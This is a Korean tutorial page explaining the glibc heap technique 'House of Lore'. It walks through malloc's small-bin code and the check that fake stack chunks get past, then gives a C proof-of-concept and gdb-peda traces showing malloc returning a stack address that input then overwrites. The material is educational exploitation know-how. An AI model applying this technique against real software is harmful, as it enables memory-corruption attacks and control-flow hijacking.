Excuse the ads! We need some help to keep our site up.
List
House of Lore
- House of Lore는 malloc()이 small bin에 해당하는 chunk의 재할당과 small bin에 배치하는 과정을 이용한 공격입니다.
malloc()은 small bin에 등록된 chunk를 사용하기 위해 메모리 할당을 요청한 크기가 small bin범위에 포함되는지 확인합니다.
요청된 크기가 small bin 범위에 포함된다면, 요청된 크기에 해당하는 index를 찾습니다.
그리고 bin[index]가 가지고 있는 값과 bin[index]→bk에 저장된 값을 비교합니다.
bin[index]→bk에 저장된 값을 victim에 저장합니다.
그리고 이 값이 0 인지 확인합니다.
victim에 저장된 값이 0 아니라면 victim→bk 에 저장된 값을 bck에 저장합니다.
그리고 bck->fd의 "victim"의 값이 다른지 확인합니다.
두 값이 같지 않다면 malloc()은 에러 메시지("malloc(): smallbin double linked list corrupted")를 출력되고 프로세스를 종료합니다.
두 값이 같다면 victim->size에 PREV_INUSE를 설정합니다.
그리고 bck가 가지고 있는 값을 bin→bk에 저장되고, bin이 가지고 있는 값을 bck→fd에 저장합니다.
해당 arena가 main arena인지 확인 합니다.
main arena가 아닐 경우 victim→size에 NON_MAIN_ARENA(0x4) flag를 설정합니다.
그리고 할당자는 chunk2mem()을 호출하여 반환할 주소(victim + 2*SIZE_SZ)를 *p에 저장하고, p를 반환합니다.
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }
- 할당자는 그 청크의 크기가 small bin범위에 포함되는지 확인합니다.
- 그 청크가 small bin범위에 포함된다면, 해당 청크의 인덱스 찾습니다.
- 그리고 bin[victim_index]가 가지고 있는 값을 bck에 저장합니다.
- bck->fd가 가지고 있는 값을 fwd에 저장합니다.
if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else {
double linked list를 구현하기 위해 해당 chunk의 bk에 bck가 가지고있는 값을 저장되고, fd에는 fwd가 가지고 있는 값을 저장합니다.
- 해당 chunk의 포인터를 fwd→bk, bck→fd에 저장합니다.
} mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
House of Lore는 Stack에 Fake chunk를 작성할 수 있고, Free chunk의 bk의 값을 덮어쓸수 있을 경우 구현이 가능합니다.
공격자는 Fake free chunk를 Stack에 작성하고, Small bin에 해당하는 메모리를 할당합니다.
해당 메모리를 해제하여 이 메모리를 Free chunk로 만듭니다.
새로운 메모리를 할당을 요청하면, Free chunk가 Bins[]에 배치되됩니다.
Fake chunk의 포인터를 Free chunk의 bk에 덮어씁니다.
Small bin에 배치된 chunk의 할당을 malloc()에 요청하면, Fake chunk의 시작 주소가 Bins[]에 배치 됩니다.
그리고 다시 한번 같은 크기의 메모리 할당을 malloc()에 요청하면 Fake chunk의 영역에 해당하는 포인터를 반환합니다.
반환된 포인터는 Stack 메모리 입니다.
House of Lore에서 중요한 것은 Fake chunk의 구조입니다.
이 chunk는 Free chunk의 구조를 가져야 하며, 2개의 fake chunk가 필요합니다.
첫번째 Fake chunk의 포인터를 free chunk(heap에 위치한)의 bk에 저장합니다.
그리고 bins[idx]의 포인터를 첫번째 Fake chunk의 fd에 저장 합니다.
첫번째 free chunk의 bk에 2번째 Fake chunk의 포인터를 저장합니다.
그리고 2번째 fake chunk의 포인터를 첫번째 free chunk의 "bk"에 저장합니다.
이러한 구조는 small bin에 배치된 chunk의 double-linked list가 손상되었는지 확인("bck->fd != victim")을 우회합니다.
예를 들어 다음과 같은 구조에서 victim의 값이 0x7fffffffe230이고 bck→fd의 값이 0x7fffffffe230이기 때문에 검증 조건을 통과하게됩니다.
- 다음은 House of Lore의 흐름입니다.
- Fake chunk를 Stack에 생성되고 free chunk를 생성한 후에 해당 chunk를 small bin에 배치합니다.
- 그리고 fake chunk의 포인터를 free chunk의 "bk"에 저장합니다.
- 그리고 해당 chunk를 재할당 받기 위해 메모리의 할당을 malloc()에 요청하면 할당자는 fake chunk를 small bin에 배치합니다.
- 공격자가 다시 한번 동일한 크기 메모리 할당을 요청하면 할당자는 fake chunk의 메모리을 반환합니다.
Example
- 이 코드는 앞에서 언급한 예와 동일한 코드입니다.
- 크기가 128 바이트, 256 바이트 인 메모리의 할당을 요청합니다.
- 크기가 128byte인 메모리의 해제를 요청한 후, 메모리 할당을 요청합니다.
- fake chunk를 stack에 작성하고 fake chunk의 포인터를 free chunk의 bk에 저장합니다.
- 그리고 크기가 128byte인 메모리 2개의 할당을 요청합니다.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void main(){ unsigned long fake_chunk[56]; fprintf(stderr,"fake_chunk : %p\n", fake_chunk); unsigned long *buf1 = malloc(128); unsigned long *buf2 = malloc(256); fprintf(stderr,"buf1 : %p\n", buf1); fprintf(stderr,"buf2 : %p\n", buf2); free(buf1); void *buf3 = malloc(1200); fprintf(stderr,"buf3 : %p\n", buf3); fake_chunk[2] = (unsigned long)buf1 - 0x10; fake_chunk[3] = (unsigned long)&fake_chunk[4]; fake_chunk[6] = (unsigned long)fake_chunk; buf1[1] = (unsigned long)fake_chunk; void *buf4 = malloc(128); char *buf5 = malloc(128); fprintf(stderr,"buf4 : %p\n", buf4); fprintf(stderr,"buf5 : %p\n", buf5); fprintf(stderr,"buf5 : "); read(STDIN_FILENO,buf5, 128); }
- 해제된 chunk가 small bin에 배치되는 과정을 0x40079c에서 확인합니다.
- Fake chunk의 구조를 0x400816에서 확인합니다.
- 해당 chunk의 포인터가 small bin에 배치된 후 재할당되는 포인터를 0x40081e, 0x40082f에서 확인합니다.
- 반환받은 메모리를 사용할 수 있는지 0x4008ad에서 확인합니다.
lazenca0x0@ubuntu:~$ gcc -o house_of_lore house_of_lore.c lazenca0x0@ubuntu:~$ gdb -q ./house_of_lore Reading symbols from ./house_of_lore...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x00000000004006f6 <+0>: push rbp 0x00000000004006f7 <+1>: mov rbp,rsp 0x00000000004006fa <+4>: sub rsp,0x200 0x0000000000400701 <+11>: mov rax,QWORD PTR fs:0x28 0x000000000040070a <+20>: mov QWORD PTR [rbp-0x8],rax 0x000000000040070e <+24>: xor eax,eax 0x0000000000400710 <+26>: mov rax,QWORD PTR [rip+0x200949] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400717 <+33>: lea rdx,[rbp-0x1d0] 0x000000000040071e <+40>: mov esi,0x400954 0x0000000000400723 <+45>: mov rdi,rax 0x0000000000400726 <+48>: mov eax,0x0 0x000000000040072b <+53>: call 0x4005c0 <fprintf@plt> 0x0000000000400730 <+58>: mov edi,0x80 0x0000000000400735 <+63>: call 0x4005d0 <malloc@plt> 0x000000000040073a <+68>: mov QWORD PTR [rbp-0x1f8],rax 0x0000000000400741 <+75>: mov edi,0x100 0x0000000000400746 <+80>: call 0x4005d0 <malloc@plt> 0x000000000040074b <+85>: mov QWORD PTR [rbp-0x1f0],rax 0x0000000000400752 <+92>: mov rax,QWORD PTR [rip+0x200907] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400759 <+99>: mov rdx,QWORD PTR [rbp-0x1f8] 0x0000000000400760 <+106>: mov esi,0x400965 0x0000000000400765 <+111>: mov rdi,rax 0x0000000000400768 <+114>: mov eax,0x0 0x000000000040076d <+119>: call 0x4005c0 <fprintf@plt> 0x0000000000400772 <+124>: mov rax,QWORD PTR [rip+0x2008e7] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400779 <+131>: mov rdx,QWORD PTR [rbp-0x1f0] 0x0000000000400780 <+138>: mov esi,0x400970 0x0000000000400785 <+143>: mov rdi,rax 0x0000000000400788 <+146>: mov eax,0x0 0x000000000040078d <+151>: call 0x4005c0 <fprintf@plt> 0x0000000000400792 <+156>: mov rax,QWORD PTR [rbp-0x1f8] 0x0000000000400799 <+163>: mov rdi,rax 0x000000000040079c <+166>: call 0x400580 <free@plt> 0x00000000004007a1 <+171>: mov edi,0x4b0 0x00000000004007a6 <+176>: call 0x4005d0 <malloc@plt> 0x00000000004007ab <+181>: mov QWORD PTR [rbp-0x1e8],rax 0x00000000004007b2 <+188>: mov rax,QWORD PTR [rip+0x2008a7] # 0x601060 <stderr@@GLIBC_2.2.5> 0x00000000004007b9 <+195>: mov rdx,QWORD PTR [rbp-0x1e8] 0x00000000004007c0 <+202>: mov esi,0x40097b 0x00000000004007c5 <+207>: mov rdi,rax 0x00000000004007c8 <+210>: mov eax,0x0 0x00000000004007cd <+215>: call 0x4005c0 <fprintf@plt> 0x00000000004007d2 <+220>: mov rax,QWORD PTR [rbp-0x1f8] 0x00000000004007d9 <+227>: sub rax,0x10 0x00000000004007dd <+231>: mov QWORD PTR [rbp-0x1c0],rax 0x00000000004007e4 <+238>: lea rax,[rbp-0x1d0] 0x00000000004007eb <+245>: add rax,0x20 0x00000000004007ef <+249>: mov QWORD PTR [rbp-0x1b8],rax 0x00000000004007f6 <+256>: lea rax,[rbp-0x1d0] 0x00000000004007fd <+263>: mov QWORD PTR [rbp-0x1a0],rax 0x0000000000400804 <+270>: mov rax,QWORD PTR [rbp-0x1f8] 0x000000000040080b <+277>: lea rdx,[rax+0x8] 0x000000000040080f <+281>: lea rax,[rbp-0x1d0] 0x0000000000400816 <+288>: mov QWORD PTR [rdx],rax 0x0000000000400819 <+291>: mov edi,0x80 0x000000000040081e <+296>: call 0x4005d0 <malloc@plt> 0x0000000000400823 <+301>: mov QWORD PTR [rbp-0x1e0],rax 0x000000000040082a <+308>: mov edi,0x80 0x000000000040082f <+313>: call 0x4005d0 <malloc@plt> 0x0000000000400834 <+318>: mov QWORD PTR [rbp-0x1d8],rax 0x000000000040083b <+325>: mov rax,QWORD PTR [rip+0x20081e] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400842 <+332>: mov rdx,QWORD PTR [rbp-0x1e0] 0x0000000000400849 <+339>: mov esi,0x400986 0x000000000040084e <+344>: mov rdi,rax 0x0000000000400851 <+347>: mov eax,0x0 0x0000000000400856 <+352>: call 0x4005c0 <fprintf@plt> 0x000000000040085b <+357>: mov rax,QWORD PTR [rip+0x2007fe] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400862 <+364>: mov rdx,QWORD PTR [rbp-0x1d8] 0x0000000000400869 <+371>: mov esi,0x400991 0x000000000040086e <+376>: mov rdi,rax 0x0000000000400871 <+379>: mov eax,0x0 0x0000000000400876 <+384>: call 0x4005c0 <fprintf@plt> 0x000000000040087b <+389>: mov rax,QWORD PTR [rip+0x2007de] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400882 <+396>: mov rcx,rax 0x0000000000400885 <+399>: mov edx,0x7 0x000000000040088a <+404>: mov esi,0x1 0x000000000040088f <+409>: mov edi,0x40099c 0x0000000000400894 <+414>: call 0x4005e0 <fwrite@plt> 0x0000000000400899 <+419>: mov rax,QWORD PTR [rbp-0x1d8] 0x00000000004008a0 <+426>: mov edx,0x80 0x00000000004008a5 <+431>: mov rsi,rax 0x00000000004008a8 <+434>: mov edi,0x0 0x00000000004008ad <+439>: call 0x4005a0 <read@plt> 0x00000000004008b2 <+444>: nop 0x00000000004008b3 <+445>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004008b7 <+449>: xor rax,QWORD PTR fs:0x28 0x00000000004008c0 <+458>: je 0x4008c7 <main+465> 0x00000000004008c2 <+460>: call 0x400590 <__stack_chk_fail@plt> 0x00000000004008c7 <+465>: leave 0x00000000004008c8 <+466>: ret End of assembler dump. gdb-peda$ b *0x000000000040079c Breakpoint 1 at 0x40079c gdb-peda$ b *0x0000000000400816 Breakpoint 2 at 0x400816 gdb-peda$ b *0x000000000040081e Breakpoint 3 at 0x40081e gdb-peda$ b *0x000000000040082f Breakpoint 4 at 0x40082f gdb-peda$ b *0x00000000004008ad Breakpoint 5 at 0x4008ad gdb-peda$
프로그램은 2개의 메모리를 할당받았습니다.
첫번째 메모리의 포인터는 0x602010이고 크기는 128byte입니다.
해당 메모리를 해제하면 free chunk가 됩니다.
그리고 해당 chunk는 unsorted bin에 배치됩니다.
메모리가 할당되면 free chunk(0x602000)는 bins[16], bins[17]에 배치됩니다.
gdb-peda$ r Starting program: /home/lazenca0x0/house_of_lore fake_chunk : 0x7fffffffe2a0 buf1 : 0x602010 buf2 : 0x6020a0 Breakpoint 1, 0x000000000040079c in main () gdb-peda$ x/i $rip => 0x40079c <main+166>: call 0x400580 <free@plt> gdb-peda$ i r rdi rdi 0x602010 0x602010 gdb-peda$ p main_arena.bins[0] $1 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ ni 0x00000000004007a1 in main () gdb-peda$ p main_arena.bins[0] $2 = (mchunkptr) 0x602000 gdb-peda$ ni 0x00000000004007a6 in main () gdb-peda$ x/i $rip => 0x4007a6 <main+176>: call 0x4005d0 <malloc@plt> gdb-peda$ ni 0x00000000004007ab in main () gdb-peda$ p main_arena.bins[0] $7 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ p main_arena.bins[16] $8 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $9 = (mchunkptr) 0x602000 gdb-peda$
- 프로그램은 Fake chunk를 0x7fffffffe2a0에 작성합니다.
- 첫번째 Fake chunk의 포인터는 0x7fffffffe2a0이고, 해당 chunk의 fd는 0x602000, bk는 0x7fffffffe2c0입니다.
- 두번째 Fake chunk의 포인터는 0x7fffffffe2c0이고, 해당 chunk의 fd는 0x00007fffffffe2a0입니다.
- victim의 값이 0x7fffffffe2a0이고 bck→fd의 값이 0x7fffffffe2a0이기 때문에 검증 조건을 통과하게됩니다.
gdb-peda$ c Continuing. buf3 : 0x6021b0 Breakpoint 2, 0x0000000000400816 in main () gdb-peda$ x/3i $rip => 0x400816 <main+288>: mov QWORD PTR [rdx],rax 0x400819 <main+291>: mov edi,0x80 0x40081e <main+296>: call 0x4005d0 <malloc@plt> gdb-peda$ i r rax rax 0x7fffffffe2a0 0x7fffffffe2a0 gdb-peda$ x/8gx 0x7fffffffe2a0 0x7fffffffe2a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe2b0: 0x0000000000602000 0x00007fffffffe2c0 0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe2d0: 0x00007fffffffe2a0 0x0000000000000000 gdb-peda$ x/4gx 0x0000000000602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
- fake chunk를 작성한 후에 해당 chunk의 포인터를 small bin에 등록하기 위해 메모리 할당을 요청합니다.
- malloc()으로 부터 메모리를 할당 받으면, main_arena.bins[17]에 Fake chunk가 배치됩니다.
gdb-peda$ c Continuing. Breakpoint 3, 0x000000000040081e in main () gdb-peda$ x/i $rip => 0x40081e <main+296>: call 0x4005d0 <malloc@plt> gdb-peda$ i r rdi rdi 0x80 0x80 gdb-peda$ p main_arena.bins[16] $11 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $12 = (mchunkptr) 0x602000 gdb-peda$ ni gdb-peda$ p main_arena.bins[16] $14 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $15 = (mchunkptr) 0x7fffffffe2a0
- 프로그램은 main_arena.bins[17]에 등록된 chunk를 재할당 받기위해 크기가 128byte인 메모리의 할당을 요청합니다.
- 할당자는 small bin에 사용가능한 chunk가 있다고 판단하고, main_arena.bins[17]에 등록된 chunk를 재할당 합니다.
- 재할당 된 chunk의 포인터(0x7fffffffe2b0)는 Fake chunk의 영역입니다.
gdb-peda$ c Continuing. Breakpoint 4, 0x000000000040082f in main () gdb-peda$ x/i $rip => 0x40082f <main+313>: call 0x4005d0 <malloc@plt> gdb-peda$ i r rdi rdi 0x80 0x80 gdb-peda$ ni 0x0000000000400834 in main () gdb-peda$ p main_arena.bins[16] $17 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $18 = (mchunkptr) 0x7fffffffe2c0 gdb-peda$ i r rax rax 0x7fffffffe2b0 0x7fffffffe2b0 gdb-peda$ x/6gx 0x7fffffffe2b0 0x7fffffffe2b0: 0x00007ffff7dd1bf8 0x00007fffffffe2c0 0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe2d0: 0x00007ffff7dd1bf8 0x0000000000000000 gdb-peda$
- 공격자는 반환된 fake chunk의 포인터에 데이터를 저장할 수 있습니다.
- 이는 상황에 따라 프로그램의 흐름도 변경할 수 있다는 것입니다.
gdb-peda$ c Continuing. buf4 : 0x602010 buf5 : 0x7fffffffe2b0 buf5 : Breakpoint 5, 0x00000000004008ad in main () gdb-peda$ x/i $rip => 0x4008ad <main+439>: call 0x4005a0 <read@plt> gdb-peda$ i r rsi rsi 0x7fffffffe2b0 0x7fffffffe2b0 gdb-peda$ x/4gx 0x7fffffffe2b0 0x7fffffffe2b0: 0x00007ffff7dd1bf8 0x00007fffffffe2c0 0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000 gdb-peda$ ni AAAAAAAAAAAAAAAA 0x00000000004008b2 in main () gdb-peda$ x/4gx 0x7fffffffe2b0 0x7fffffffe2b0: 0x4141414141414141 0x4141414141414141 0x7fffffffe2c0: 0x000000000000000a 0x0000000000000000 gdb-peda$
Related information
- https://github.com/shellphish/how2heap
- https://gbmaster.wordpress.com/2015/07/16/x86-exploitation-101-house-of-lore-people-and-traditions